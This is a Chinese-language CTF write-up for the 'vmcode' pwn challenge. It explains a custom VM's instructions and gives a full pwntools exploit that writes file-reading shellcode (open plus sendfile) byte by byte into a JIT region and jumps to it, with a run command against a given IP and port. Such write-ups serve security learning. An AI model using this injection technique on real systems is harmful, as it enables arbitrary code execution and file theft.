vmcode

逆向。mov imm64 给寄存器塞立即数,add 做寄存器加法,store 把一个字节写到 JIT 区,jmp 跳过去执行。这里有两个坑。一个是 storejmp 实际都绑在 r8 上,所以偏移寄存器只能选 VM 的 0 号寄存器;另一个是 mov imm64 过程中会拿 r11 当 scratch,所以数据寄存器不能用它,我最后放在 r12

1
2
3
VM_REG_OFF = 0
VM_REG_STEP = 1
VM_REG_DATA = 4

逐字节写 shellcode。先把 r8 设成目标位置,把 r9 设成 1,当步长。然后对 shellcode 的每个字节循环做 mov imm64 r12, bytestore r12add r8, r9。写完以后把 r8 重新设回起点,再 jmp

1
SHELLCODE_OFF = 0x4000

shellcode 开路径然后 sendfile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
lea rdi, [rip + path]
xor esi, esi
mov eax, 2
syscall

mov edi, 1
mov esi, eax
xor edx, edx
mov r10d, 0x100
mov eax, 40
syscall

xor edi, edi
mov eax, 60
syscall
1
python3 exp_pwn.py 43.143.78.186 9999 --path /home/ctf/flag

exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#!/usr/bin/env python3
from pwn import *
import sys


context(os="linux", arch="amd64", log_level="error")

e = "./attachment"
off = 0
step = 1
data = 4
base = 0x4000

mov = lambda r, x: bytes([0, r & 7]) + p64(x)
add = lambda a, b: bytes([1, a & 7, b & 7])
store = lambda r: bytes([3, 0, r & 7])
jmp = b"\x04\x00"
halt = b"\x05"


argv = sys.argv[1:]

if len(argv) >= 2 and argv[1].isdigit():
host = argv[0]
port = int(argv[1])
path = argv[2] if len(argv) > 2 else "/flag"
io = remote(host, port)
else:
path = argv[0] if argv else "/flag"
io = process(e)

bs = path.encode() + b"\x00"
path_bytes = ", ".join(hex(x) for x in bs)

sc = asm(f"""
lea rdi, [rip + path]
xor esi, esi
mov eax, 2
syscall

mov edi, 1
mov esi, eax
xor edx, edx
mov r10d, 0x100
mov eax, 40
syscall

xor edi, edi
mov eax, 60
syscall

path:
.byte {path_bytes}
""")

payload = b""
payload += mov(off, base)
payload += mov(step, 1)

for i, c in enumerate(sc):
payload += mov(data, c)
payload += store(data)
if i != len(sc) - 1:
payload += add(off, step)

payload += mov(off, base)
payload += jmp
payload += halt

io.send(payload)
sys.stdout.buffer.write(io.recvall(timeout=3))